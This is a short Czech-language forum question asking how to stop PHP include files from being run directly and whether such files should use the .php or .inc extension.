celé vláknoZdravím, nevěděl by někdo, jak ošetřit zákaz přímého přístupu k vkládaným souborům? Např. v jednom souboru chci pomocí include vložit soubor se skriptem. Problém může vzniknout, pokud takový soubor je spuštěn samostatně.
Jak se tyto případy řeší? Jaké správné přípony mají mít? php ?, inc?
Dík

